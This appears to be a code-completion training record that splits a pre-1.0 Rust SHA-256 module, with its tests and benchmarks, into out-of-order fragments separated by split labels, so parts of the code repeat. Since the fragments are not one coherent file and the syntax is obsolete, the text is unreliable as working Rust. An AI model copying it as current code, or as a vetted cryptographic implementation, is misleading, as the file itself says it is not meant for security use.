write_u32_be(self.buffer.next(4), (self.length_bits >> 32) as u32 ); write_u32_be(self.buffer.next(4), self.length_bits as u32); self_state.process_block(self.buffer.full_buffer()); self.finished = true; } } /// The SHA-256 hash algorithm pub struct Sha256 { engine: Engine256 } impl Sha256 { /// Construct a new instance of a SHA-256 digest. pub fn new() -> Sha256 { Sha256 { engine: Engine256::new(&H256) } } } impl Digest for Sha256 { fn input(&mut self, d: &[u8]) { self.engine.input(d); } fn result(&mut self, out: &mut [u8]) { self.engine.finish(); write_u32_be(out.mut_slice(0, 4), self.engine.state.h0); write_u32_be(out.mut_slice(4, 8), self.engine.state.h1); write_u32_be(out.mut_slice(8, 12), self.engine.state.h2); write_u32_be(out.mut_slice(12, 16), self.engine.state.h3); write_u32_be(out.mut_slice(16, 20), self.engine.state.h4); write_u32_be(out.mut_slice(20, 24), self.engine.state.h5); write_u32_be(out.mut_slice(24, 28), self.engine.state.h6); write_u32_be(out.mut_slice(28, 32), self.engine.state.h7); } fn reset(&mut self) { self.engine.reset(&H256); } fn output_bits(&self) -> uint { 256 } } static H256: [u32, ..8] = [ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 ]; #[cfg(test)] mod tests { extern crate rand; use super::{Digest, Sha256, FixedBuffer}; use std::num::Bounded; use self::rand::isaac::IsaacRng; use self::rand::Rng; use serialize::hex::FromHex; // A normal addition - no overflow occurs #[test] fn test_add_bytes_to_bits_ok() { assert!(super::add_bytes_to_bits::<u64>(100, 10) == 180); } // A simple failure case - adding 1 to the max value #[test] #[should_fail] fn test_add_bytes_to_bits_overflow() { super::add_bytes_to_bits::<u64>(Bounded::max_value(), 1); } struct Test { input: String, output_str: String, } fn test_hash<D: Digest>(sh: &mut D, tests: &[Test]) { // Test that it works when accepting the message all at once for t in tests.iter() { sh.reset(); sh.input_str(t.input.as_slice()); let out_str = sh.result_str(); assert!(out_str == t.output_str); } // Test that it works when accepting the message in pieces for t in tests.iter() { sh.reset(); let len = t.input.len(); let mut left = len; while left > 0u { let take = (left + 1u) / 2u; sh.input_str(t.input .as_slice() .slice(len - left, take + len - left)); left = left - take; } let out_str = sh.result_str(); assert!(out_str == t.output_str); } } #[test] fn test_sha256() { // Examples from wikipedia let wikipedia_tests = vec!( Test { input: "".to_string(), output_str: "e3b0c44298fc1c149afb\ f4c8996fb92427ae41e4649b934ca495991b7852b855".to_string() }, Test { input: "The quick brown fox jumps over the lazy \ dog".to_string(), output_str: "d7a8fbb307d7809469ca\ 9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592".to_string() }, Test { input: "The quick brown fox jumps over the lazy \ dog.".to_string(), output_str: "ef537f25c895bfa78252\ 6529a9b63d97aa631564d5d789c2b765448c8635fb6c".to_string() }); let tests = wikipedia_tests; let mut sh = box Sha256::new(); test_hash(sh, tests.as_slice()); } /// Feed 1,000,000 'a's into the digest with varying input sizes and check that the result is /// correct. fn test_digest_1million_random<D: Digest>(digest: &mut D, blocksize: uint, expected: &str) { let total_size = 1000000; let buffer = Vec::from_elem(blocksize * 2, 'a' as u8); let mut rng = IsaacRng::new_unseeded(); let mut count = 0; digest.reset(); while count < total_size { let next: uint = rng.gen_range(0, 2 * blocksize + 1); let remaining = total_size - count; let size = if next > remaining { remaining } else { next }; digest.input(buffer.slice_to(size)); count += size; } let result_str = digest.result_str(); let result_bytes = digest.result_bytes(); assert_eq!(expected, result_str.as_slice()); let expected_vec: Vec<u8> = expected.from_hex() .unwrap() .move_iter() .collect(); assert_eq!(expected_vec, result_bytes); } #[test] fn test_1million_random_sha256() { let mut sh = Sha256::new(); test_digest_1million_random( &mut sh, 64, "cdc76e5c9914fb9281a1c7e284d73e67f1809a48a497200e046d39ccc7112cd0"); } } #[cfg(test)] mod bench { extern crate test; use self::test::Bencher; use super::{Sha256, FixedBuffer, Digest}; #[bench] pub fn sha256_10(b: &mut Bencher) { let mut sh = Sha256::new(); let bytes = [1u8, ..10]; b.iter(|| { sh.input(bytes); }); b.bytes = bytes.len() as u64; } #[bench] pub fn sha256_1k(b: &mut Bencher) { let mut sh = Sha256::new(); let bytes = [1u8, ..1024]; b.iter(|| { sh.input(bytes); }); b.bytes = bytes.len() as u64; } #[bench] pub fn sha256_64k(b: &mut Bencher) { let mut sh = Sha256::new(); let bytes = [1u8, ..65536]; b.iter(|| { sh.input(bytes); }); b.bytes = bytes.len() as u64; } }
random_line_split
sha2.rs
// Copyright 2012-2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. //! This module implements only the Sha256 function since that is all that is needed for internal //! use. This implementation is not intended for external use or for any use where security is //! important. use std::iter::range_step; use std::num::Zero; use std::slice::bytes::{MutableByteVector, copy_memory}; use serialize::hex::ToHex; /// Write a u32 into a vector, which must be 4 bytes long. The value is written in big-endian /// format. fn write_u32_be(dst: &mut[u8], input: u32) { use std::mem::to_be32; assert!(dst.len() == 4); unsafe { let x = dst.unsafe_mut_ref(0) as *mut _ as *mut u32; *x = to_be32(input); } } /// Read a vector of bytes into a vector of u32s. The values are read in big-endian format. fn read_u32v_be(dst: &mut[u32], input: &[u8]) { use std::mem::to_be32; assert!(dst.len() * 4 == input.len()); unsafe { let mut x = dst.unsafe_mut_ref(0) as *mut _ as *mut u32; let mut y = input.unsafe_ref(0) as *_ as *u32; for _ in range(0, dst.len()) { *x = to_be32(*y); x = x.offset(1); y = y.offset(1); } } } trait ToBits { /// Convert the value in bytes to the number of bits, a tuple where the 1st item is the /// high-order value and the 2nd item is the low order value. fn to_bits(self) -> (Self, Self); } impl ToBits for u64 { fn to_bits(self) -> (u64, u64) { return (self >> 61, self << 3); } } /// Adds the specified number of bytes to the bit count. fail!() if this would cause numeric /// overflow. fn add_bytes_to_bits<T: Int + CheckedAdd + ToBits>(bits: T, bytes: T) -> T { let (new_high_bits, new_low_bits) = bytes.to_bits(); if new_high_bits > Zero::zero() { fail!("numeric overflow occured.") } match bits.checked_add(&new_low_bits) { Some(x) => return x, None => fail!("numeric overflow occured.") } } /// A FixedBuffer, likes its name implies, is a fixed size buffer. When the buffer becomes full, it /// must be processed. The input() method takes care of processing and then clearing the buffer /// automatically. However, other methods do not and require the caller to process the buffer. Any /// method that modifies the buffer directory or provides the caller with bytes that can be modified /// results in those bytes being marked as used by the buffer. trait FixedBuffer { /// Input a vector of bytes. If the buffer becomes full, process it with the provided /// function and then clear the buffer. fn input(&mut self, input: &[u8], func: |&[u8]|); /// Reset the buffer. fn reset(&mut self); /// Zero the buffer up until the specified index. The buffer position currently must not be /// greater than that index. fn zero_until(&mut self, idx: uint); /// Get a slice of the buffer of the specified size. There must be at least that many bytes /// remaining in the buffer. fn next<'s>(&'s mut self, len: uint) -> &'s mut [u8]; /// Get the current buffer. The buffer must already be full. This clears the buffer as well. fn full_buffer<'s>(&'s mut self) -> &'s [u8]; /// Get the current position of the buffer. fn position(&self) -> uint; /// Get the number of bytes remaining in the buffer until it is full. fn remaining(&self) -> uint; /// Get the size of the buffer fn size(&self) -> uint; } /// A FixedBuffer of 64 bytes useful for implementing Sha256 which has a 64 byte blocksize. struct FixedBuffer64 { buffer: [u8, ..64], buffer_idx: uint, } impl FixedBuffer64 { /// Create a new FixedBuffer64 fn new() -> FixedBuffer64 { return FixedBuffer64 { buffer: [0u8, ..64], buffer_idx: 0 }; } } impl FixedBuffer for FixedBuffer64 { fn input(&mut self, input: &[u8], func: |&[u8]|) { let mut i = 0; let size = self.size(); // If there is already data in the buffer, copy as much as we can into it and process // the data if the buffer becomes full. if self.buffer_idx != 0 { let buffer_remaining = size - self.buffer_idx; if input.len() >= buffer_remaining { copy_memory( self.buffer.mut_slice(self.buffer_idx, size), input.slice_to(buffer_remaining)); self.buffer_idx = 0; func(self.buffer); i += buffer_remaining; } else { copy_memory( self.buffer.mut_slice(self.buffer_idx, self.buffer_idx + input.len()), input); self.buffer_idx += input.len(); return; } } // While we have at least a full buffer size chunk's worth of data, process that data // without copying it into the buffer while input.len() - i >= size { func(input.slice(i, i + size)); i += size; } // Copy any input data into the buffer. At this point in the method, the amount of // data left in the input vector will be less than the buffer size and the buffer will // be empty. let input_remaining = input.len() - i; copy_memory( self.buffer.mut_slice(0, input_remaining), input.slice_from(i)); self.buffer_idx += input_remaining; } fn reset(&mut self) { self.buffer_idx = 0; } fn zero_until(&mut self, idx: uint) { assert!(idx >= self.buffer_idx); self.buffer.mut_slice(self.buffer_idx, idx).set_memory(0); self.buffer_idx = idx; } fn next<'s>(&'s mut self, len: uint) -> &'s mut [u8] { self.buffer_idx += len; return self.buffer.mut_slice(self.buffer_idx - len, self.buffer_idx); } fn full_buffer<'s>(&'s mut self) -> &'s [u8] { assert!(self.buffer_idx == 64); self.buffer_idx = 0; return self.buffer.slice_to(64); } fn position(&self) -> uint { self.buffer_idx } fn remaining(&self) -> uint { 64 - self.buffer_idx } fn size(&self) -> uint { 64 } } /// The StandardPadding trait adds a method useful for Sha256 to a FixedBuffer struct. trait StandardPadding { /// Add padding to the buffer. The buffer must not be full when this method is called and is /// guaranteed to have exactly rem remaining bytes when it returns. If there are not at least /// rem bytes available, the buffer will be zero padded, processed, cleared, and then filled /// with zeros again until only rem bytes are remaining. fn standard_padding(&mut self, rem: uint, func: |&[u8]|); } impl <T: FixedBuffer> StandardPadding for T { fn standard_padding(&mut self, rem: uint, func: |&[u8]|) { let size = self.size(); self.next(1)[0] = 128; if self.remaining() < rem { self.zero_until(size); func(self.full_buffer()); } self.zero_until(size - rem); } } /// The Digest trait specifies an interface common to digest functions, such as SHA-1 and the SHA-2 /// family of digest functions. pub trait Digest { /// Provide message data. /// /// # Arguments /// /// * input - A vector of message data fn input(&mut self, input: &[u8]); /// Retrieve the digest result. This method may be called multiple times. /// /// # Arguments /// /// * out - the vector to hold the result. Must be large enough to contain output_bits(). fn result(&mut self, out: &mut [u8]); /// Reset the digest. This method must be called after result() and before supplying more /// data. fn reset(&mut self); /// Get the output size in bits. fn output_bits(&self) -> uint; /// Convenience function that feeds a string into a digest. /// /// # Arguments /// /// * `input` The string to feed into the digest fn input_str(&mut self, input: &str) { self.input(input.as_bytes()); } /// Convenience function that retrieves the result of a digest as a /// newly allocated vec of bytes. fn result_bytes(&mut self) -> Vec<u8> { let mut buf = Vec::from_elem((self.output_bits()+7)/8, 0u8); self.result(buf.as_mut_slice()); buf } /// Convenience function that retrieves the result of a digest as a /// String in hexadecimal format. fn result_str(&mut self) -> String { self.result_bytes().as_slice().to_hex().to_string() } } // A structure that represents that state of a digest computation for the SHA-2 512 family of digest // functions struct Engine256State { h0: u32, h1: u32, h2: u32, h3: u32, h4: u32, h5: u32, h6: u32, h7: u32, } impl Engine256State { fn new(h: &[u32, ..8]) -> Engine256State { return Engine256State { h0: h[0], h1: h[1], h2: h[2], h3: h[3], h4: h[4], h5: h[5], h6: h[6], h7: h[7] }; } fn reset(&mut self, h: &[u32, ..8]) { self.h0 = h[0]; self.h1 = h[1]; self.h2 = h[2]; self.h3 = h[3]; self.h4 = h[4]; self.h5 = h[5]; self.h6 = h[6]; self.h7 = h[7]; } fn process_block(&mut self, data: &[u8]) { fn ch(x: u32, y: u32, z: u32) -> u32 { ((x & y) ^ ((!x) & z)) } fn maj(x: u32, y: u32, z: u32) -> u32 { ((x & y) ^ (x & z) ^ (y & z)) } fn sum0(x: u32) -> u32 { ((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10)) } fn sum1(x: u32) -> u32 { ((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7)) } fn sigma0(x: u32) -> u32 { ((x >> 7) | (x << 25)) ^ ((x >> 18) | (x << 14)) ^ (x >> 3) } fn sigma1(x: u32) -> u32 { ((x >> 17) | (x << 15)) ^ ((x >> 19) | (x << 13)) ^ (x >> 10) } let mut a = self.h0; let mut b = self.h1; let mut c = self.h2; let mut d = self.h3; let mut e = self.h4; let mut f = self.h5; let mut g = self.h6; let mut h = self.h7; let mut w = [0u32, ..64]; // Sha-512 and Sha-256 use basically the same calculations which are implemented // by these macros. Inlining the calculations seems to result in better generated code. macro_rules! schedule_round( ($t:expr) => ( w[$t] = sigma1(w[$t - 2]) + w[$t - 7] + sigma0(w[$t - 15]) + w[$t - 16]; ) ) macro_rules! sha2_round( ($A:ident, $B:ident, $C:ident, $D:ident, $E:ident, $F:ident, $G:ident, $H:ident, $K:ident, $t:expr) => ( { $H += sum1($E) + ch($E, $F, $G) + $K[$t] + w[$t]; $D += $H; $H += sum0($A) + maj($A, $B, $C); } ) ) read_u32v_be(w.mut_slice(0, 16), data); // Putting the message schedule inside the same loop as the round calculations allows for // the compiler to generate better code. for t in range_step(0u, 48, 8) { schedule_round!(t + 16); schedule_round!(t + 17); schedule_round!(t + 18); schedule_round!(t + 19); schedule_round!(t + 20); schedule_round!(t + 21); schedule_round!(t + 22); schedule_round!(t + 23); sha2_round!(a, b, c, d, e, f, g, h, K32, t); sha2_round!(h, a, b, c, d, e, f, g, K32, t + 1); sha2_round!(g, h, a, b, c, d, e, f, K32, t + 2); sha2_round!(f, g, h, a, b, c, d, e, K32, t + 3); sha2_round!(e, f, g, h, a, b, c, d, K32, t + 4); sha2_round!(d, e, f, g, h, a, b, c, K32, t + 5); sha2_round!(c, d, e, f, g, h, a, b, K32, t + 6); sha2_round!(b, c, d, e, f, g, h, a, K32, t + 7); } for t in range_step(48u, 64, 8) { sha2_round!(a, b, c, d, e, f, g, h, K32, t); sha2_round!(h, a, b, c, d, e, f, g, K32, t + 1); sha2_round!(g, h, a, b, c, d, e, f, K32, t + 2); sha2_round!(f, g, h, a, b, c, d, e, K32, t + 3); sha2_round!(e, f, g, h, a, b, c, d, K32, t + 4); sha2_round!(d, e, f, g, h, a, b, c, K32, t + 5); sha2_round!(c, d, e, f, g, h, a, b, K32, t + 6); sha2_round!(b, c, d, e, f, g, h, a, K32, t + 7); } self.h0 += a; self.h1 += b; self.h2 += c; self.h3 += d; self.h4 += e; self.h5 += f; self.h6 += g; self.h7 += h; } } static K32: [u32, ..64] = [ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 ]; // A structure that keeps track of the state of the Sha-256 operation and contains the logic // necessary to perform the final calculations. struct Engine256 { length_bits: u64, buffer: FixedBuffer64, state: Engine256State, finished: bool, } impl Engine256 { fn new(h: &[u32, ..8]) -> Engine256 { return Engine256 { length_bits: 0, buffer: FixedBuffer64::new(), state: Engine256State::new(h), finished: false } } fn reset(&mut self, h: &[u32, ..8]) { self.length_bits = 0; self.buffer.reset(); self.state.reset(h); self.finished = false; } fn input(&mut self, input: &[u8]) { assert!(!self.finished) // Assumes that input.len() can be converted to u64 without overflow self.length_bits = add_bytes_to_bits(self.length_bits, input.len() as u64); let self_state = &mut self.state; self.buffer.input(input, |input: &[u8]| { self_state.process_block(input) }); } fn finish(&mut self)
} /// The SHA-256 hash algorithm pub struct Sha256 { engine: Engine256 } impl Sha256 { /// Construct a new instance of a SHA-256 digest. pub fn new() -> Sha256 { Sha256 { engine: Engine256::new(&H256) } } } impl Digest for Sha256 { fn input(&mut self, d: &[u8]) { self.engine.input(d); } fn result(&mut self, out: &mut [u8]) { self.engine.finish(); write_u32_be(out.mut_slice(0, 4), self.engine.state.h0); write_u32_be(out.mut_slice(4, 8), self.engine.state.h1); write_u32_be(out.mut_slice(8, 12), self.engine.state.h2); write_u32_be(out.mut_slice(12, 16), self.engine.state.h3); write_u32_be(out.mut_slice(16, 20), self.engine.state.h4); write_u32_be(out.mut_slice(20, 24), self.engine.state.h5); write_u32_be(out.mut_slice(24, 28), self.engine.state.h6); write_u32_be(out.mut_slice(28, 32), self.engine.state.h7); } fn reset(&mut self) { self.engine.reset(&H256); } fn output_bits(&self) -> uint { 256 } } static H256: [u32, ..8] = [ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 ]; #[cfg(test)] mod tests { extern crate rand; use super::{Digest, Sha256, FixedBuffer}; use std::num::Bounded; use self::rand::isaac::IsaacRng; use self::rand::Rng; use serialize::hex::FromHex; // A normal addition - no overflow occurs #[test] fn test_add_bytes_to_bits_ok() { assert!(super::add_bytes_to_bits::<u64>(100, 10) == 180); } // A simple failure case - adding 1 to the max value #[test] #[should_fail] fn test_add_bytes_to_bits_overflow() { super::add_bytes_to_bits::<u64>(Bounded::max_value(), 1); } struct Test { input: String, output_str: String, } fn test_hash<D: Digest>(sh: &mut D, tests: &[Test]) { // Test that it works when accepting the message all at once for t in tests.iter() { sh.reset(); sh.input_str(t.input.as_slice()); let out_str = sh.result_str(); assert!(out_str == t.output_str); } // Test that it works when accepting the message in pieces for t in tests.iter() { sh.reset(); let len = t.input.len(); let mut left = len; while left > 0u { let take = (left + 1u) / 2u; sh.input_str(t.input .as_slice() .slice(len - left, take + len - left)); left = left - take; } let out_str = sh.result_str(); assert!(out_str == t.output_str); } } #[test] fn test_sha256() { // Examples from wikipedia let wikipedia_tests = vec!( Test { input: "".to_string(), output_str: "e3b0c44298fc1c149afb\ f4c8996fb92427ae41e4649b934ca495991b7852b855".to_string() }, Test { input: "The quick brown fox jumps over the lazy \ dog".to_string(), output_str: "d7a8fbb307d7809469ca\ 9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592".to_string() }, Test { input: "The quick brown fox jumps over the lazy \ dog.".to_string(), output_str: "ef537f25c895bfa78252\ 6529a9b63d97aa631564d5d789c2b765448c8635fb6c".to_string() }); let tests = wikipedia_tests; let mut sh = box Sha256::new(); test_hash(sh, tests.as_slice()); } /// Feed 1,000,000 'a's into the digest with varying input sizes and check that the result is /// correct. fn test_digest_1million_random<D: Digest>(digest: &mut D, blocksize: uint, expected: &str) { let total_size = 1000000; let buffer = Vec::from_elem(blocksize * 2, 'a' as u8); let mut rng = IsaacRng::new_unseeded(); let mut count = 0; digest.reset(); while count < total_size { let next: uint = rng.gen_range(0, 2 * blocksize + 1); let remaining = total_size - count; let size = if next > remaining { remaining } else { next }; digest.input(buffer.slice_to(size)); count += size; } let result_str = digest.result_str(); let result_bytes = digest.result_bytes(); assert_eq!(expected, result_str.as_slice()); let expected_vec: Vec<u8> = expected.from_hex() .unwrap() .move_iter() .collect(); assert_eq!(expected_vec, result_bytes); } #[test] fn test_1million_random_sha256() { let mut sh = Sha256::new(); test_digest_1million_random( &mut sh, 64, "cdc76e5c9914fb9281a1c7e284d73e67f1809a48a497200e046d39ccc7112cd0"); } } #[cfg(test)] mod bench { extern crate test; use self::test::Bencher; use super::{Sha256, FixedBuffer, Digest}; #[bench] pub fn sha256_10(b: &mut Bencher) { let mut sh = Sha256::new(); let bytes = [1u8, ..10]; b.iter(|| { sh.input(bytes); }); b.bytes = bytes.len() as u64; } #[bench] pub fn sha256_1k(b: &mut Bencher) { let mut sh = Sha256::new(); let bytes = [1u8, ..1024]; b.iter(|| { sh.input(bytes); }); b.bytes = bytes.len() as u64; } #[bench] pub fn sha256_64k(b: &mut Bencher) { let mut sh = Sha256::new(); let bytes = [1u8, ..65536]; b.iter(|| { sh.input(bytes); }); b.bytes = bytes.len() as u64; } }
{ if self.finished { return; } let self_state = &mut self.state; self.buffer.standard_padding(8, |input: &[u8]| { self_state.process_block(input) }); write_u32_be(self.buffer.next(4), (self.length_bits >> 32) as u32 ); write_u32_be(self.buffer.next(4), self.length_bits as u32); self_state.process_block(self.buffer.full_buffer()); self.finished = true; }
identifier_body
sha2.rs
// Copyright 2012-2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. //! This module implements only the Sha256 function since that is all that is needed for internal //! use. This implementation is not intended for external use or for any use where security is //! important. use std::iter::range_step; use std::num::Zero; use std::slice::bytes::{MutableByteVector, copy_memory}; use serialize::hex::ToHex; /// Write a u32 into a vector, which must be 4 bytes long. The value is written in big-endian /// format. fn write_u32_be(dst: &mut[u8], input: u32) { use std::mem::to_be32; assert!(dst.len() == 4); unsafe { let x = dst.unsafe_mut_ref(0) as *mut _ as *mut u32; *x = to_be32(input); } } /// Read a vector of bytes into a vector of u32s. The values are read in big-endian format. fn read_u32v_be(dst: &mut[u32], input: &[u8]) { use std::mem::to_be32; assert!(dst.len() * 4 == input.len()); unsafe { let mut x = dst.unsafe_mut_ref(0) as *mut _ as *mut u32; let mut y = input.unsafe_ref(0) as *_ as *u32; for _ in range(0, dst.len()) { *x = to_be32(*y); x = x.offset(1); y = y.offset(1); } } } trait ToBits { /// Convert the value in bytes to the number of bits, a tuple where the 1st item is the /// high-order value and the 2nd item is the low order value. fn to_bits(self) -> (Self, Self); } impl ToBits for u64 { fn to_bits(self) -> (u64, u64) { return (self >> 61, self << 3); } } /// Adds the specified number of bytes to the bit count. fail!() if this would cause numeric /// overflow. fn add_bytes_to_bits<T: Int + CheckedAdd + ToBits>(bits: T, bytes: T) -> T { let (new_high_bits, new_low_bits) = bytes.to_bits(); if new_high_bits > Zero::zero() { fail!("numeric overflow occured.") } match bits.checked_add(&new_low_bits) { Some(x) => return x, None => fail!("numeric overflow occured.") } } /// A FixedBuffer, likes its name implies, is a fixed size buffer. When the buffer becomes full, it /// must be processed. The input() method takes care of processing and then clearing the buffer /// automatically. However, other methods do not and require the caller to process the buffer. Any /// method that modifies the buffer directory or provides the caller with bytes that can be modified /// results in those bytes being marked as used by the buffer. trait FixedBuffer { /// Input a vector of bytes. If the buffer becomes full, process it with the provided /// function and then clear the buffer. fn input(&mut self, input: &[u8], func: |&[u8]|); /// Reset the buffer. fn reset(&mut self); /// Zero the buffer up until the specified index. The buffer position currently must not be /// greater than that index. fn zero_until(&mut self, idx: uint); /// Get a slice of the buffer of the specified size. There must be at least that many bytes /// remaining in the buffer. fn next<'s>(&'s mut self, len: uint) -> &'s mut [u8]; /// Get the current buffer. The buffer must already be full. This clears the buffer as well. fn full_buffer<'s>(&'s mut self) -> &'s [u8]; /// Get the current position of the buffer. fn position(&self) -> uint; /// Get the number of bytes remaining in the buffer until it is full. fn remaining(&self) -> uint; /// Get the size of the buffer fn size(&self) -> uint; } /// A FixedBuffer of 64 bytes useful for implementing Sha256 which has a 64 byte blocksize. struct FixedBuffer64 { buffer: [u8, ..64], buffer_idx: uint, } impl FixedBuffer64 { /// Create a new FixedBuffer64 fn new() -> FixedBuffer64 { return FixedBuffer64 { buffer: [0u8, ..64], buffer_idx: 0 }; } } impl FixedBuffer for FixedBuffer64 { fn input(&mut self, input: &[u8], func: |&[u8]|) { let mut i = 0; let size = self.size(); // If there is already data in the buffer, copy as much as we can into it and process // the data if the buffer becomes full. if self.buffer_idx != 0 { let buffer_remaining = size - self.buffer_idx; if input.len() >= buffer_remaining { copy_memory( self.buffer.mut_slice(self.buffer_idx, size), input.slice_to(buffer_remaining)); self.buffer_idx = 0; func(self.buffer); i += buffer_remaining; } else { copy_memory( self.buffer.mut_slice(self.buffer_idx, self.buffer_idx + input.len()), input); self.buffer_idx += input.len(); return; } } // While we have at least a full buffer size chunk's worth of data, process that data // without copying it into the buffer while input.len() - i >= size { func(input.slice(i, i + size)); i += size; } // Copy any input data into the buffer. At this point in the method, the amount of // data left in the input vector will be less than the buffer size and the buffer will // be empty. let input_remaining = input.len() - i; copy_memory( self.buffer.mut_slice(0, input_remaining), input.slice_from(i)); self.buffer_idx += input_remaining; } fn reset(&mut self) { self.buffer_idx = 0; } fn zero_until(&mut self, idx: uint) { assert!(idx >= self.buffer_idx); self.buffer.mut_slice(self.buffer_idx, idx).set_memory(0); self.buffer_idx = idx; } fn next<'s>(&'s mut self, len: uint) -> &'s mut [u8] { self.buffer_idx += len; return self.buffer.mut_slice(self.buffer_idx - len, self.buffer_idx); } fn full_buffer<'s>(&'s mut self) -> &'s [u8] { assert!(self.buffer_idx == 64); self.buffer_idx = 0; return self.buffer.slice_to(64); } fn position(&self) -> uint { self.buffer_idx } fn
(&self) -> uint { 64 - self.buffer_idx } fn size(&self) -> uint { 64 } } /// The StandardPadding trait adds a method useful for Sha256 to a FixedBuffer struct. trait StandardPadding { /// Add padding to the buffer. The buffer must not be full when this method is called and is /// guaranteed to have exactly rem remaining bytes when it returns. If there are not at least /// rem bytes available, the buffer will be zero padded, processed, cleared, and then filled /// with zeros again until only rem bytes are remaining. fn standard_padding(&mut self, rem: uint, func: |&[u8]|); } impl <T: FixedBuffer> StandardPadding for T { fn standard_padding(&mut self, rem: uint, func: |&[u8]|) { let size = self.size(); self.next(1)[0] = 128; if self.remaining() < rem { self.zero_until(size); func(self.full_buffer()); } self.zero_until(size - rem); } } /// The Digest trait specifies an interface common to digest functions, such as SHA-1 and the SHA-2 /// family of digest functions. pub trait Digest { /// Provide message data. /// /// # Arguments /// /// * input - A vector of message data fn input(&mut self, input: &[u8]); /// Retrieve the digest result. This method may be called multiple times. /// /// # Arguments /// /// * out - the vector to hold the result. Must be large enough to contain output_bits(). fn result(&mut self, out: &mut [u8]); /// Reset the digest. This method must be called after result() and before supplying more /// data. fn reset(&mut self); /// Get the output size in bits. fn output_bits(&self) -> uint; /// Convenience function that feeds a string into a digest. /// /// # Arguments /// /// * `input` The string to feed into the digest fn input_str(&mut self, input: &str) { self.input(input.as_bytes()); } /// Convenience function that retrieves the result of a digest as a /// newly allocated vec of bytes. fn result_bytes(&mut self) -> Vec<u8> { let mut buf = Vec::from_elem((self.output_bits()+7)/8, 0u8); self.result(buf.as_mut_slice()); buf } /// Convenience function that retrieves the result of a digest as a /// String in hexadecimal format. fn result_str(&mut self) -> String { self.result_bytes().as_slice().to_hex().to_string() } } // A structure that represents that state of a digest computation for the SHA-2 512 family of digest // functions struct Engine256State { h0: u32, h1: u32, h2: u32, h3: u32, h4: u32, h5: u32, h6: u32, h7: u32, } impl Engine256State { fn new(h: &[u32, ..8]) -> Engine256State { return Engine256State { h0: h[0], h1: h[1], h2: h[2], h3: h[3], h4: h[4], h5: h[5], h6: h[6], h7: h[7] }; } fn reset(&mut self, h: &[u32, ..8]) { self.h0 = h[0]; self.h1 = h[1]; self.h2 = h[2]; self.h3 = h[3]; self.h4 = h[4]; self.h5 = h[5]; self.h6 = h[6]; self.h7 = h[7]; } fn process_block(&mut self, data: &[u8]) { fn ch(x: u32, y: u32, z: u32) -> u32 { ((x & y) ^ ((!x) & z)) } fn maj(x: u32, y: u32, z: u32) -> u32 { ((x & y) ^ (x & z) ^ (y & z)) } fn sum0(x: u32) -> u32 { ((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10)) } fn sum1(x: u32) -> u32 { ((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7)) } fn sigma0(x: u32) -> u32 { ((x >> 7) | (x << 25)) ^ ((x >> 18) | (x << 14)) ^ (x >> 3) } fn sigma1(x: u32) -> u32 { ((x >> 17) | (x << 15)) ^ ((x >> 19) | (x << 13)) ^ (x >> 10) } let mut a = self.h0; let mut b = self.h1; let mut c = self.h2; let mut d = self.h3; let mut e = self.h4; let mut f = self.h5; let mut g = self.h6; let mut h = self.h7; let mut w = [0u32, ..64]; // Sha-512 and Sha-256 use basically the same calculations which are implemented // by these macros. Inlining the calculations seems to result in better generated code. macro_rules! schedule_round( ($t:expr) => ( w[$t] = sigma1(w[$t - 2]) + w[$t - 7] + sigma0(w[$t - 15]) + w[$t - 16]; ) ) macro_rules! sha2_round( ($A:ident, $B:ident, $C:ident, $D:ident, $E:ident, $F:ident, $G:ident, $H:ident, $K:ident, $t:expr) => ( { $H += sum1($E) + ch($E, $F, $G) + $K[$t] + w[$t]; $D += $H; $H += sum0($A) + maj($A, $B, $C); } ) ) read_u32v_be(w.mut_slice(0, 16), data); // Putting the message schedule inside the same loop as the round calculations allows for // the compiler to generate better code. for t in range_step(0u, 48, 8) { schedule_round!(t + 16); schedule_round!(t + 17); schedule_round!(t + 18); schedule_round!(t + 19); schedule_round!(t + 20); schedule_round!(t + 21); schedule_round!(t + 22); schedule_round!(t + 23); sha2_round!(a, b, c, 